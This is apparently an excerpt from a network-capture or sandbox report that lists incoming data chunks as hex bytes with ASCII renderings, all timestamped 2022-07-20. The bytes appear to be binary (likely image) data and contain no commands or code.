2022-07-20 17:31:07 UTC	6293	IN	Data Raw: 28 1f a9 62 cb 8b 8c 92 ca f2 cb 19 5a c2 e8 1a b1 c9 dd 81 ef f1 61 7b 7d 8c 90 fb 4f 53 7f 5b 24 5a 2b 7a d7 47 93 a6 cc 92 4c 8d 64 88 ac 0d 18 02 ec b7 4d 15 d3 71 72 e5 e2 7f b7 ab 29 1b 5c af 98 b0 b2 7a 44 d8 f8 31 a0 69 c0 8e d2 b4 68 82 01 3b f3 13 de 43 14 7e f3 de 7b 3d 51 0c 23 a4 bc 58 18 b9 6d 9a a2 3b a6 a9 9a 46 56 91 a6 74 8e 4f 07 93 15 d2 73 24 ff 00 31 14 5e c7 dd bf 06 90 14 b2 fc bf 2f 50 e9 f3 cb 17 31 7a a0 a3 ce 84 82 b3 8f 6c 8a 91 a2 f2 ac 9e 3d f8 2c f7 f1 f2 64 e6 68 1c 9a 6e 81 87 d3 e3 c7 f8 8c 00 1a 0c 8a 48 2e 01 88 a8 b6 68 5b 77 b8 f7 78 5e ef 83 83 49 22 2c ca c8 fa 1e 07 43 92 47 8e 29 a4 9a 60 c5 6d 62 05 95 56 78 62 e5 59 64 49 72 71 fb 4e 0d 53 41 24 38 9d 4a 30 f2 e2 42 23 8a 77 6d 82 96 d0 91 75 b2 7f f7 37 b3 df Data Ascii: (bZa{}OS[$Z+zGLdMqr)\zD1ih;C~{=Q#Xm;FVtOs$1^/P1zl=,dhnH.h[wx^I",CG)`mbVxbYdIrqNSA$8J0B#wmu7
2022-07-20 17:31:07 UTC	6300	IN	Data Raw: 37 a8 b4 19 91 a4 b4 48 82 33 19 18 af 0f b3 b3 7b c6 e3 fc 3d 4d ac 93 03 11 f3 28 8b 33 a9 0c bc 79 95 a3 aa be db 81 46 07 d9 d9 6f a1 cc d6 4e eb c0 68 cf 49 33 bc f3 20 50 63 9a 43 2d 82 aa b7 1e fa 27 77 d0 d5 b7 3a 8c d1 e1 7c bf d4 b1 b2 e0 8d 65 30 45 3c 62 46 92 32 c0 24 60 73 64 ba 4e 1e 74 51 79 fa 69 08 df 14 8d 14 e5 42 b7 1e 5d 43 1a dc c9 4e 62 6f bf 9f ad 60 99 2b 3f d4 12 09 63 02 4f 6a e1 56 ed a2 ae 39 e9 1c 9e 65 f1 af 87 a6 32 eb 15 52 30 55 77 6a c5 88 fa d8 de ff 00 ad ab 33 82 2c b0 f0 30 7c 48 55 9e 57 5e 69 e1 d8 37 79 d2 7e 24 96 ee 6a 2c df 81 4b 5d c2 10 5f 46 1b 50 f6 11 d8 46 a9 32 4e 64 42 cf 13 c7 19 b4 b2 90 0d 2b db e8 e9 b0 44 40 5a 23 51 21 08 82 86 9d fd 96 f1 7f 67 50 50 ba 74 b3 4d 7a e4 a0 40 1a 88 41 ad cb e7 fa Data Ascii: 7H3{=M(3yFoNhI3 PcC-'w:\|e0E<bF2$`sdNtQyiB]CNbo`+?cOjV9e2R0Uwj3,0\|HUW^i7y~$j,K]_FPF2NdB+D@Z#Q!gPPtMz@A
2022-07-20 17:31:07 UTC	6316	IN	Data Raw: 22 ee 3a cb cc e0 d7 33 57 6f 71 c1 aa c3 f9 2b a6 61 08 e5 8a 30 99 31 b0 7e 6c 75 52 5a bb eb cb 76 91 3e 1d f7 a2 e4 f7 22 d7 52 44 c8 76 67 40 c0 ea 0e c7 22 14 66 91 42 16 22 8d 41 e6 cb c7 a7 00 99 e2 d2 60 a2 4f 23 63 39 68 d1 c8 8d b6 54 a8 36 ab bf af c5 a8 6e 0d 42 27 e9 50 c4 42 2b a4 d4 17 17 50 c2 9d e6 8d bc fb 74 a4 99 1b 24 57 28 81 28 02 ed f2 5d 5f 35 fb d6 f9 9e 66 89 00 28 e3 f8 79 e3 79 03 c9 04 6e b2 48 89 e5 5a af 3a df 33 99 1f 87 7e 9c c9 48 f5 4c 6f fb 81 d1 a7 84 49 04 8c 0f 02 63 84 3c d2 6b 6c 69 16 3c 57 fd 8f 13 4c 8e 30 5d 5c b9 60 35 ac 2d 26 db aa bf 6a cb bf e6 e8 4c 96 86 c1 8a 71 e2 8d 50 97 90 05 0c e7 89 ed ef 3f 9c fa 68 0c 6c 5d 55 f3 fa ac b2 74 f9 22 07 19 c0 49 25 00 87 bc f2 f2 63 bd 79 72 2c 0f 77 b4 e5 cd 3f Data Ascii: ":3Woq+a01~luRZv>"RDvg@"fB"A`O#c9hT6nB'PB+Pt$W((]_5f(yynHZ:3~HLoIc<kli<WL0]\`5-&jLqP?hl]Ut"I%cyr,w?
2022-07-20 17:31:07 UTC	6332	IN	Data Raw: fb ad 04 d9 9b e3 8b 14 bd 51 71 73 17 9b 19 84 ca 91 be f2 2c 81 b9 7c c7 8a 4d db ec 57 e5 6e e9 f8 99 96 19 31 43 86 e2 4c 78 50 13 b1 ec 0a 86 da f1 da a3 c5 df ee ea e2 05 32 67 33 3a a9 8b ab b6 1f 56 61 1e 1c 82 90 4c bb dc 9b ad b5 d1 de f8 93 99 67 f9 9b e2 f0 bd a7 b3 b1 f4 8b 80 b9 3a 78 e9 13 4b 9d 8d 7c f8 95 06 4a 51 aa 94 b9 f3 e0 64 54 49 1b 1f 73 e2 3f 1a 1f cc 81 34 40 8b 1f 97 b9 ab 04 f8 b8 c2 b1 24 d7 2b c4 4b dd 14 81 72 b1 7c 4e f4 5e 3c 9d cd 50 8d 14 0d 96 6c b0 35 bc 2c 09 b3 69 f7 be ce 4f 0f f6 f4 0c 1e 59 72 91 6e 82 48 d6 c1 be ad be 0d 77 55 24 5f 06 64 bf b9 6f 1f 99 a0 46 36 6c ef 83 9a 51 3c 4f ca 99 ad 40 e4 ac 6c 11 5a 37 89 19 ff 00 31 ec e3 f6 69 ae 7b dd af 00 29 fa 9b 0f f4 b4 8a 59 18 80 12 a0 93 b2 64 ee ad fb ad Data Ascii: Qqs,\|MWn1CLxP2g3:VaLg:xK\|JQdTIs?4@$+Kr\|N^<Pl5,iOYrnHwU$_doF6lQ<O@lZ71i{)Yd
2022-07-20 17:31:07 UTC	6340	IN	Data Raw: 45 de 0a 7b 17 97 17 88 23 95 64 8b cc f0 ef f1 35 c9 7c 8d 5b db aa fb e0 0b 93 d6 96 5e a1 2e 35 e9 34 2e e8 c2 45 65 0b 1c 8c 9c 9b 91 ee dc 6f 0b db 24 9c ae 75 f7 f1 e9 77 58 ec dc a0 2a 1b 22 69 dd fa 7e 38 66 84 cb 59 64 55 b9 98 c8 11 d6 25 6b 79 49 37 25 13 f0 77 f9 b2 78 50 a6 b5 c6 db 4a 3f 86 30 df 97 62 c8 c7 67 c5 96 c3 14 43 c3 71 50 9b ed 74 96 3f 04 b1 47 27 fc 1a 2f dc 71 70 84 c9 0c d3 2e 4b 94 6a cc 00 96 35 d8 c5 a2 60 d8 f9 4b 8d 76 eb 35 be 37 2b 47 6a d6 a0 86 60 f5 04 4b a6 90 aa c7 b0 a3 5b 47 2c 7c 3c a8 6e 7e 39 af 8a 3b 21 f6 9b f1 73 35 de 86 4d d3 55 fa 9b 1c 89 41 92 44 52 88 0d 08 50 de d3 87 c3 e6 4d 6f 88 9e ed 12 cd ff 00 13 54 26 03 d3 ba c5 a2 46 76 b2 54 72 1e 26 35 a0 4b 53 c2 79 38 64 57 bf c2 7e 3d 29 19 56 9d 55 Data Ascii: E{#d5\|[^.54.Eeo$uwX*"i~8fYdU%kyI7%wxPJ?0bgCqPt?G'/qp.Kj5`Kv57+Gj`K[G,\|<n~9;!s5MUADRPMoT&FvTr&5KSy8dW~=)VU
2022-07-20 17:31:07 UTC	6356	IN	Data Raw: 37 55 94 2c 91 c3 6c 7e 9c 7f e5 31 9f de f8 9e 7e a9 31 96 dd 5f 36 57 02 4c bb 22 c7 62 56 50 58 5c b0 b1 e0 69 2d 93 c5 fe 07 ff 00 23 df f8 69 a1 d8 12 30 f9 9d 7d f3 25 8e 45 5b a0 c6 b0 20 e1 56 e5 9b b1 de 7f 5d fc 59 91 38 df 51 c8 a8 0b 96 6c ac d9 a2 ce ea a5 e7 41 57 e5 c9 bb 18 ae f4 6f 06 37 7b 1b 73 f8 72 6b 93 25 bc 2b d1 7f 98 46 de 0f 97 31 21 98 ce cb 73 12 4d 3b 17 7b 8a e8 d7 ce ef 77 3d 0d 6d 8f 02 dd f5 92 d8 46 56 0a 64 b2 8b 68 54 8b 2d ee 9a f7 63 f6 3b df c3 d7 43 a2 62 4e 41 fa 56 3c 79 7d 5b 27 e3 0c 99 cf 8a 04 51 2b 90 d6 38 de ca c9 8b 82 2c 6e 54 9f e5 52 ff 00 16 57 e6 f2 ff 00 0f 54 96 85 16 79 e1 e8 c5 22 58 4a 5a 63 96 ea ba 48 4d 8b 6c 1c 94 5f 66 de 3e ff 00 2e 58 75 9d ad 1b 81 55 85 95 36 5f 51 68 24 00 4b 1e ee ea Data Ascii: 7U,l~1~1_6WL"bVPX\i-#i0}%E[ V]Y8QlAWo7{srk%+F1!sM;{w=mFVdhT-c;CbNAV<y}['Q+8,nTRWTy"XJZcHMl_f>.XuU6_Qh$K
2022-07-20 17:31:07 UTC	6372	IN	Data Raw: bb 9e 0e e5 fa d2 92 98 23 5b d6 fa 94 9d 2f a8 2e 2e 34 eb 8b 34 50 86 c9 9f 96 25 33 10 8b c9 8e 1c 4b 99 e4 95 22 87 7e ef 77 e2 7b b4 bf 5e 5e 05 15 99 59 f9 e6 0b 31 f1 a6 b4 b4 c5 e3 52 25 4b 66 3c f8 ee 48 3f cc 63 2b 7b 37 e6 f2 e3 c8 4f fa 79 75 cd 93 13 6a 09 fe c2 24 97 13 a9 4b 19 5b 11 52 00 66 95 51 83 46 c3 98 f1 ad ac db d1 49 ff 00 d2 91 25 e5 f0 49 24 5a 75 aa 7a 21 ee 5a 64 7c b1 9f 81 80 d8 d3 e5 ca d8 59 1c 40 29 73 1d 79 6e 8b f0 f7 cd e2 49 cb f1 9d f2 62 c4 4e 0e 5c 9c ee 5e bb 16 8a 04 91 51 d4 e5 82 02 f8 bd 27 26 24 8b 90 b9 05 16 35 45 98 bd f1 64 41 c5 fc d4 c2 92 2e ff 00 db d6 79 66 04 ff 00 40 3f 4d c1 78 de 36 b6 da 89 11 b9 aa a1 68 18 71 f3 af bf 93 c8 b2 c8 f9 53 3e 47 32 2e 6e bc 2c ca b5 e9 7d 3e a3 4a 96 39 f8 12 cc Data Ascii: #[/..44P%3K"~w{^^Y1R%Kf<H?c+{7Oyuj$K[RfQFI%I$Zuz!Zd\|Y@)synIbN\^Q'&$5EdA.yf@?Mx6hqS>G2.n,}>J9
2022-07-20 17:31:07 UTC	6380	IN	Data Raw: 7c fa 81 01 30 f3 0b ad 1c 56 8a ad c1 c3 6d d2 41 27 17 e2 6f d9 ad 39 0a 0a 99 3a ae 5c 52 aa b4 4c a5 63 11 94 0c 00 e5 a9 be d9 5d 5b d5 bf 7e fd 72 3c 9c b5 90 21 9f 9b d2 f2 52 79 59 05 e5 03 da bb 14 53 c3 9a ef 05 64 b7 c3 e6 7e 27 b4 d6 1a 65 51 f2 79 00 26 65 9c b0 cb 52 2f 35 ab 05 21 97 6d b6 b5 cc f0 b7 33 8f 97 e3 78 72 7d bd 3a 5a 34 02 5f 98 3e 78 cc 45 93 0d 16 35 66 50 0c aa 5a bb c3 c4 e5 2b f0 eb d2 ad e5 16 91 e7 d9 13 9a d6 b5 a5 07 fb 37 55 7e ee 88 28 db 7c bb 9a b8 fd 27 e1 26 8a 48 e5 6b c0 72 a6 d9 16 4b a4 47 6f 4a c7 f4 fc 34 d7 0e 5a b7 69 44 30 2f 94 a4 a3 4b 89 23 51 2b 1b d3 d3 07 91 75 dc 31 d9 7f 1e b7 cc a6 18 8d 4e 4f 4a 90 e4 c9 8c 8f 56 96 36 91 cd 68 ad 67 72 4f cb 4b ef e6 ff 00 2b da 6b 29 e3 b8 15 9d 73 06 1c 3e Data Ascii: \|0VmA'o9:\RLc][~r<!RyYSd~'eQy&eR/5!m3xr}:Z4_>xE5fPZ+7U~(\|'&HkrKGoJ4ZiD0/K#Q+u1NOJV6hgrOK+k)s>
2022-07-20 17:31:07 UTC	6396	IN	Data Raw: b1 65 93 c1 1e 2a ab 4a 43 10 76 a8 ed d4 27 20 59 b6 67 26 c9 27 95 6f 21 94 23 1b 84 68 4d fc be 67 1f f4 b3 53 1e 08 90 7f f5 64 cc 96 8b 68 bb 65 07 d5 e6 7f 4b f5 37 50 84 ca ce ae b1 44 ea 36 03 f4 01 e4 d1 8a ce c0 8d 4e 06 1a e1 41 8a 66 1c b4 96 d6 90 13 43 4b ac 77 fb 9e 26 93 28 8b 1f 22 08 51 65 9e 65 dc d8 ca 4d 4b a2 07 8e 38 53 8e d9 1b 71 e3 e6 f2 fe e6 96 ec 92 21 d4 a1 32 20 25 95 4d 03 15 52 48 5a 35 cc a9 de bf 55 c2 46 5b 47 d4 13 2e 2b 46 34 d2 48 a4 36 c8 bb 14 8e 3e 6b 72 e4 7b bf c4 d6 1e df 1f 10 20 5e a7 9b 95 58 d6 3d 91 82 3c 63 bc 94 ee 2a 47 7b fa a9 7e b5 69 2d c0 0a 49 73 4c a2 67 94 8a 80 0f 2c 5b 6a f7 51 2e be c4 d3 70 20 7c 83 f0 b9 03 26 22 c4 d7 75 98 dc c0 f7 77 a4 bd f7 75 11 c9 43 13 08 f8 18 59 b9 f9 9d 86 80 52 Data Ascii: eJCv' Yg&'o!#hMgSdheK7PD6NAfCKw&("QeeMK8Sq!2 %MRHZ5UF[G.+F4H6>kr{ ^X=<cG{~i-IsLg,[jQ.p \|&"uwuCYR
2022-07-20 17:31:07 UTC	6412	IN	Data Raw: 95 89 54 0a a5 ad 5c 68 fd a4 cb c7 7e f6 3d ef ae 9c 98 b4 e5 61 89 5a 1c 3c 7b ca df 97 22 d6 f3 4a aa 93 ec 62 8b dd c5 ee ff 00 13 58 ba 4e 9e 81 81 f4 79 53 2b 20 72 22 2e 61 46 6b 9d 6e 8a 37 77 f0 e5 e5 b1 b6 5d cb f9 49 2f 7f f1 6c d6 96 af 05 2c 44 7d 3f 20 47 90 72 e7 66 c8 ce 91 ae 0d 6d 0a 06 0e b2 ef f0 59 6c 9f 87 17 73 4f 24 d9 45 7a 2a 33 53 d5 3a c6 27 ca f3 39 4f fa fc be d2 db 79 31 12 cc b0 a7 2b de 6f 5d eb ef eb be b5 f6 d6 9e 70 2a ff 00 d7 7a 86 4b d9 8d 87 2c 90 d0 21 2c e0 12 47 e6 3e ea f1 6b cb b5 52 7d 56 10 07 5c e8 59 b9 b0 8c 85 84 09 17 63 a2 cc b2 2d a3 76 e5 b3 cd f7 9b ff 00 63 57 5b 2a f8 89 a9 32 70 74 14 c8 96 28 5d da 29 65 37 ed 42 eb ca 23 c3 92 3e 57 89 7d eb 26 e3 c7 f9 97 eb b5 64 49 4b 26 0b 6c cf 93 63 86 e9 Data Ascii: T\h~=aZ<{"JbXNyS+ r".aFkn7w]I/l,D}? GrfmYlsO$Ez3S:'9Oy1+o]pzK,!,G>kR}V\Yc-vcW[*2pt(])e7B#>W}&dIK&lc
2022-07-20 17:31:07 UTC	6420	IN	Data Raw: ef 5b 76 a6 b7 56 db d2 04 84 eb 42 46 d7 6d 3c ba 00 ac ea f9 60 e1 c9 2c 12 90 b1 b1 59 0a 28 7e cd c9 a3 de f6 56 77 e5 4f 63 ac b2 5f 8d 5b 1a 32 39 5d 53 26 47 33 4c e4 c2 29 40 d4 2a 6d de e4 c9 b7 cf 4b ef e5 fb b7 df e0 d7 ca df ba bd dc a7 f7 3f d8 34 80 ae 93 9f 2f 4e 98 ca d2 91 08 0c cd 10 ec a7 07 35 d3 7e 5f 0f d0 fd 7d 5f 69 dd da 8f ea 5c 6d 15 dd 6f e6 2c 9c a2 62 ce f0 0a f7 6a 42 3b 2f b3 95 12 4d f4 bf 8f ff 00 73 5b f7 19 ef 91 c2 e9 af 49 21 fd 07 a9 e2 fc 41 ce 31 bc 86 24 2a cf 68 06 30 7b d7 bf 89 34 b2 fe 0e 37 07 33 de c9 bf ad fb 4e e1 63 51 7f b6 0f 53 4b 91 f3 16 22 e2 49 99 1b 55 63 6b 37 b7 2a db bf 89 6b 5b bf af 59 67 ad 97 2a f5 19 c0 36 1f cc 91 e6 6f c4 cb ca 88 16 95 8f 09 52 5a 38 b9 72 f0 f3 23 b7 c7 44 fe 1c 7a 9c Data Ascii: [vVBFm<`,Y(~VwOc_[29]S&G3L)@mK?4/N5~_}_i\mo,bjB;/Ms[I!A1$h0{473NcQSK"IUck7k[Yg6oRZ8r#Dz
2022-07-20 17:31:07 UTC	6436	IN	Data Raw: ca a0 76 ba 2d cf 31 ed bf dd fa 9a e9 69 c0 e4 93 27 37 e1 64 68 b2 dc 53 6a 10 0f 6b 11 6f 8a a9 6c 96 c7 f8 29 ac ed 56 84 66 f2 df 24 01 97 2a 29 50 c1 01 05 90 87 e1 f6 55 de 79 77 38 fb 91 e8 ab 5b 22 40 26 79 f3 1f 90 b0 bc 8c d5 08 40 de bf d6 8f da a2 79 8f ad 12 4b c4 0a c9 f1 ce 25 cb 22 ef d4 ed a1 1d 9e ba eb 64 a4 06 e1 43 20 56 9d 62 0e ac 08 a9 23 ed 58 8c cb 7b 6b 47 46 cd eb 82 f6 53 5a 85 64 64 bf 57 8e 2c 68 29 1c 97 b2 15 6b 51 55 00 f4 bd 9d 9e 9e a2 b8 fd b6 db 32 6a 37 2e 70 fa c4 18 78 51 e3 31 ac 85 50 ab 5a 91 c6 16 ad bd 34 f6 73 5b f8 90 f3 5f b9 bf ac 5d 39 36 d9 23 33 c4 f9 53 88 9d 8b 92 0a 98 a0 43 7b 0a a4 d0 ff 00 a8 4b 90 52 c8 fd e4 7d ff 00 ca d5 52 12 85 fa f7 19 16 1f 43 ff 00 50 8e 44 8f 20 b8 50 08 80 33 00 4b 1f Data Ascii: v-1i'7dhSjkol)Vf$*)PUyw8["@&y@yK%"dC Vb#X{kGFSZddW,h)kQU2j7.pxQ1PZ4s[_]96#3SC{KR}RCPD P3K
2022-07-20 17:31:07 UTC	6452	IN	Data Raw: a4 34 63 98 3b 78 6c b5 24 4b 35 cb 7a 71 25 63 9d 8b b8 3a 04 f9 2a a1 9e 2d 9b 2d 74 31 fd 8e 47 0e ff 00 e2 7e a6 9a c3 23 81 8b ff 00 6e a2 89 9b 26 8b 90 19 ab ca a9 8e 8b 75 cf 6c de 27 77 d4 f5 f5 d3 5a 47 d7 25 d6 a6 7f af e3 f4 f8 97 99 03 47 cd 79 6d 78 a3 14 10 d8 1f dd 3d be 23 72 e3 bf 99 ef 2f 97 d7 9c 90 d4 99 d9 40 1c 71 a6 43 20 91 e2 44 45 07 6b 84 b9 88 bd a1 e2 9d fe 27 7b d9 77 f9 7e 0c 7a e5 f6 b9 79 48 55 0d ea 9d 2f 2b a4 44 b2 cb 8e 91 c6 e6 88 f6 de 54 9f 75 27 34 ca ca ef ed 12 ff 00 53 d0 d4 3c 16 5a b2 b8 81 bf 40 77 85 72 b9 4f 14 2b 1d dc c2 09 53 60 f6 97 a2 f0 cb ee ff 00 e6 6b 65 4b 09 e2 29 d8 52 35 74 60 1f bc bb 06 c1 6e f7 16 fb de dd d4 e0 4d 2f ed 31 82 54 ca ad 0e 4f 8a 29 d8 c4 d6 87 7b 73 cd de d4 d9 37 b0 8b 08 Data Ascii: 4c;xl$K5zq%c:*--t1G~#n&ul'wZG%Gymx=#r/@qC DEk'{w~zyHU/+DTu'4S<Z@wrO+S`keK)R5t`nM/1TO){s7
2022-07-20 17:31:07 UTC	6460	IN	Data Raw: 59 5e 1b 60 0a a0 12 00 1d 83 d5 d6 95 49 9f 45 87 15 2b e4 f2 0f e9 f9 af 8d 28 94 00 ff 00 a7 68 5a fa 5d d6 d5 d9 49 3d cf 6d 4c ea 2c 5f e4 30 c7 e9 2f 9e 64 66 f8 a2 58 92 28 b5 17 47 dc f4 16 c8 ff 00 12 cd 63 3a 9f 2f da e3 54 cf 0f cb 84 0b e5 14 93 36 fc b4 5a 45 10 0d 47 70 2f 2a 39 96 45 fd 3d 0d 37 6e 47 ab de 77 b5 c9 5e 09 5b 9e 4e 8f 29 2c f9 30 75 0c 82 e1 2a 10 5c 17 e8 ae 86 b4 31 af e5 75 aa 4e ce c5 5c e7 17 34 3c 72 c3 0a 39 53 6b 95 17 a3 79 f7 71 db e8 ea de 33 ba ff 00 96 63 55 e9 2c 7a 9f 59 01 23 ca 4b ea 01 dd e1 b4 d2 d6 dc f3 b5 11 13 25 f6 bd ba ad 6d 58 e9 fd bb 94 fd 1b af 46 f3 30 c9 90 a8 db c4 7b 47 f4 ee ea 79 4a 34 b6 7a 64 4e a9 70 c8 41 2f 4d 87 0f 2f 9b 8c 7f cb b9 2a a2 b7 11 b1 7b fe 9f 73 49 ad 0f 9d ee fb 67 8a Data Ascii: Y^`IE+(hZ]I=mL,_0/dfX(Gc:/T6ZEGp/9E=7nGw^[N),0u\1uN\4<r9Skyq3cU,zY#K%mXF0{GyJ4zdNpA/M/*{sIg
2022-07-20 17:31:07 UTC	6476	IN	Data Raw: a7 9a c7 62 91 4a 6d 63 ea af bc fb 1a 6f 51 20 1e b5 f3 4e 57 52 76 8f a7 00 81 77 41 96 94 66 e2 dc df f6 56 f9 f1 ff 00 0f 52 c6 37 0a 2c 89 4d 72 99 64 a9 bb 74 15 15 ee af 13 6e a7 eb e9 40 e4 2f 3b a0 63 cf 34 79 33 35 ac 8c 8b ba 40 2d 42 d3 2c 37 fb 4f b9 c1 66 94 0c bf c3 e8 b8 4e a9 cd 8e f7 3b ac cd da db 3d a5 b7 37 2e ff 00 43 56 aa 81 b2 0f f4 ae 43 5a e0 08 ea d6 d3 b4 0a ee ef b7 bc f3 75 8b a4 15 c8 b0 c2 8e 29 c4 d8 a1 99 aa aa 2e 20 a9 00 ad bc 5b b7 fe 25 da ba ad d0 ac f6 64 3d 28 3c 38 cd 27 37 98 ec 2a 6a 05 f6 ae e2 bf 6e f2 eb 9f 1a e2 9b 4f cc 69 7d 5c 41 1f 58 8f 2b aa 95 c7 89 64 8e 05 56 e6 b7 09 26 89 ca 58 3f 17 bf 77 99 fc 4d 74 be bf 9a a6 69 2a 81 cc 4a 95 48 77 dc ec 50 48 26 de 0b a4 ba c5 92 3e e6 e6 90 0f c6 c0 4c aa Data Ascii: bJmcoQ NWRvwAfVR7,Mrdtn@/;c4y35@-B,7OfN;=7.CVCZu). [%d=(<8'7jnOi}\AX+dV&X?wMtiJHwPH&>L
2022-07-20 17:31:07 UTC	6492	IN	Data Raw: 9d 6e bb 52 9d c4 68 7a 06 26 17 53 cd 10 38 e6 c4 91 17 aa 12 ad dd 5b 5d d9 63 7d d9 24 b3 fe 0d 2a d3 e2 51 a4 f8 d8 f1 e5 87 a7 74 e8 77 18 d4 48 69 b1 01 5f 88 49 65 e3 7e 38 b7 bd 4d 6a 94 17 25 c6 7f 26 58 24 c6 39 01 52 44 0b 69 05 8a 92 6d e6 48 be 9b d9 67 ef eb 3b eb d3 f3 0c 82 26 8b a7 44 90 64 32 b2 85 b0 16 e1 7a 7f 4e 0d 15 ac 28 14 90 66 75 5c 7c 18 1b 22 56 54 4a 10 ad df ba 9b 89 12 f0 4d ea 6a de 81 22 e8 1f 3d b6 7b 28 c8 40 12 d2 09 5a 32 8a 6f 6f 5b de 65 6f 67 ac 6b 77 3a 95 c4 bd e9 7d 6f a6 75 02 71 a0 92 36 7e 12 b4 b5 a9 e6 34 6f bf 7a 79 be ef 5b 4a 25 a7 b9 5d 91 86 1d 65 24 13 10 70 80 b1 bb 75 d9 3e be e4 8d 7c 7f c3 d7 3d a9 26 c9 c1 27 50 7c 89 d1 f1 25 57 4f 0d 6d 92 a3 78 3f 1d 9e 94 76 6f df e8 6b 47 26 64 71 5c ca 50 Data Ascii: nRhz&S8[]c}$*QtwHi_Ie~8Mj%&X$9RDimHg;&Dd2zN(fu\\|"VTJMj"={(@Z2oo[eogkw:}ouq6~4ozy[J%]e$pu>\|=&'P\|%WOmx?vokG&dq\P
2022-07-20 17:31:07 UTC	6499	IN	Data Raw: dc fb 7b f6 77 35 52 4c 15 df 31 62 8c 86 4c 88 e3 32 4b 11 15 03 6e e5 6f bb cd 46 e6 26 93 1a 19 17 cc d0 f3 63 bc 30 8e d7 32 6c 3b 84 0b 95 77 77 bd 7e e6 b2 79 12 1c 15 fd 5b 2f 2b 2a 49 32 31 85 31 2e 2a a0 b0 8a d2 f6 4d 3b bc 3b b7 b6 44 9c 7c d4 be cd 61 67 25 a2 eb e5 93 8d 5f 85 58 18 64 dc a6 8f 6d ca c0 2c c8 eb 1a dd dc e5 fe 1c d6 71 a5 9a 2a b5 2a 4d d6 33 4d 91 0a 44 c4 c3 20 1e 2d 76 b8 0c 38 52 4e 0b ee f7 9a eb 44 14 1d 1e 58 1c 41 16 3c 8a a2 f2 00 04 ef 80 6c 7f b4 fe d1 ff 00 16 5d 60 9e a6 92 69 a1 c7 96 0c 96 20 56 36 51 b7 eb 5b b7 7e d6 b6 55 82 1b 94 29 8c 79 6c a8 6b 40 4f fb 40 ff 00 8f 4e 45 b1 50 15 fa 24 d3 65 49 22 c8 b3 36 c4 50 6a 9e 8a a6 f7 af 26 a7 62 b7 19 32 44 72 84 88 a4 2b 90 cf 68 a6 f6 c5 ba 56 5f b0 97 e8 e4 Data Ascii: {w5RL1bL2KnoF&c02l;ww~y[/+I211.M;;D\|ag%_Xdm,q**M3MD -v8RNDXA<l]`i V6Q[~U)ylk@O@NEP$eI"6Pj&b2Dr+hV_
2022-07-20 17:31:07 UTC	6515	IN	Data Raw: 89 24 af cb ff 00 2f e2 43 1f e2 5f a1 b8 d5 92 79 d8 98 a7 2a 46 45 90 c6 39 62 32 49 b8 47 f8 aa af cc e1 7e e7 2f bf cb d6 62 2d 7a 1f cc 07 1e ff 00 8a 06 4a d4 d6 bb c3 62 c6 b1 6f fb be 0f e1 7a 7a 4f 41 c8 4e 1f 52 7c c6 9f 31 a2 5f f2 ea 8b 62 b1 0a e1 b9 97 a4 8d 7e f6 56 ff 00 33 1e 7b fd c7 27 bf ac 6e dc a8 f5 04 9a 08 3a 85 d0 2c b8 8b 6b 39 0e ac c0 5a d1 b6 f3 63 4b 13 7b 37 ee 24 c9 ad 96 c5 16 f0 bf 51 ea 50 c7 1b c6 ea c1 55 ec 3b be 8f 7b d7 bb ec 6a c0 b5 e8 33 24 a4 ae 40 64 c8 4e 24 63 70 5a dc a8 db 9e 1f 89 1a df c5 aa a8 32 cb ac c5 2e 46 1b 45 89 22 47 23 0d 97 0d d6 1f 87 b9 be 97 f9 fa a7 2f 62 57 e9 31 f3 74 4e ad 8d 1d ed 1c 52 79 4a 44 fe 22 80 37 b9 6a e8 b1 cb fd e5 fa cd 55 8d 82 e3 f4 96 13 18 5d 39 12 3e f1 04 6d 52 c3 Data Ascii: $/C_y*FE9b2IG~/b-zJbozzOANR\|1_b~V3{'n:,k9ZcK{7$QPU;{j3$@dN$cpZ2.FE"G#/bW1tNRyJD"7jU]9>mR
2022-07-20 17:31:07 UTC	6531	IN	Data Raw: 47 9a 42 bc 9a 2f 84 8e ac ae d9 11 b7 ff 00 4b 45 df ff 00 31 fc 3d c4 d6 4e de 03 4c b8 9f e6 22 98 63 23 21 40 5b 4b 06 0c 16 e0 37 17 75 df 99 1f 39 bc 5e 57 1a 43 f9 9a d9 df 49 21 99 08 be 68 78 66 89 7e 1c c9 0c d2 17 88 29 f1 1a 87 92 96 73 4a 45 2c 2d 37 0f 06 b8 31 e3 49 ea be b9 46 ca 5c dc 50 8a d1 35 64 7a 33 17 d8 fd 9e 9e ea d9 df d7 7d 28 93 94 4b 29 df 3e 2c 4c e8 5e 3a 02 03 9a f9 24 24 ad f0 b4 97 2d d2 2d d7 f8 9f 63 d9 eb 41 0c eb dd 48 47 90 92 ca fc b9 4a 1b 43 02 51 ec de 68 ad 56 f6 8b ac da 90 92 8a 7e b4 90 a3 cf 04 12 09 5d 4a b3 aa 31 8d e4 3e c5 19 bd 39 3c cf 0e 3f e6 69 a5 02 2f 3a 44 7c bc 53 f1 f2 24 ac 19 5a e5 16 aa 31 f7 37 af 7e 39 3b d7 eb 49 24 a6 eb f9 38 59 52 ae 40 63 6c 2c 15 ab 52 8c bb 77 7e cc b6 7a fa 87 0c Data Ascii: GB/KE1=NL"c#!@[K7u9^WCI!hxf~)sJE,-71IF\P5dz3}(K)>,L^:$$--cAHGJCQhV~]J1>9<?i/:D\|S$Z17~9;I$8YR@cl,Rw~z
2022-07-20 17:31:07 UTC	6539	IN	Data Raw: 59 26 98 d3 34 b8 d9 98 91 a2 24 04 50 15 0a ca d7 6d 14 85 7c 45 bf 8b bf f9 9a 45 06 c9 9b 23 6e 25 4a 36 c1 f5 57 f7 34 00 e5 cf 6b 8d dc 20 d1 89 06 b5 fb 5f f9 34 e0 44 1d 43 ab e3 42 a1 a4 60 a6 52 a9 40 05 c4 16 e4 da df 95 74 bc 7e eb ed e8 01 d2 64 a2 10 a0 5c a3 b1 8f 93 f2 65 fb 5a 00 a8 ea 18 52 f2 d2 2e 97 1a 1d e3 52 cd 62 c6 94 b7 cd 7d e4 f7 7e 1e 81 15 58 4b 3b 33 73 98 89 0b 52 a9 40 6b 4b 3b bb 8d bd a8 d8 64 bd 73 a9 1e 85 12 cf 2a 19 63 b8 46 cd 50 2a e4 33 f7 6e dd 92 cd f9 3d df 88 9a a9 11 e7 13 e6 64 fc 47 c6 4a ad fe 62 e7 52 db 6e 52 d6 ee 3f bc 58 bd 96 a6 24 0b d3 d4 61 8f 1b e2 14 d6 8b 50 3e 93 c3 67 df d6 5c 75 34 90 5c 2c 9c 2e 51 c9 91 c4 53 38 21 cd 48 26 bb cf 17 fc 1a b7 33 04 97 ff 00 2f e6 f4 e8 31 21 11 32 25 f7 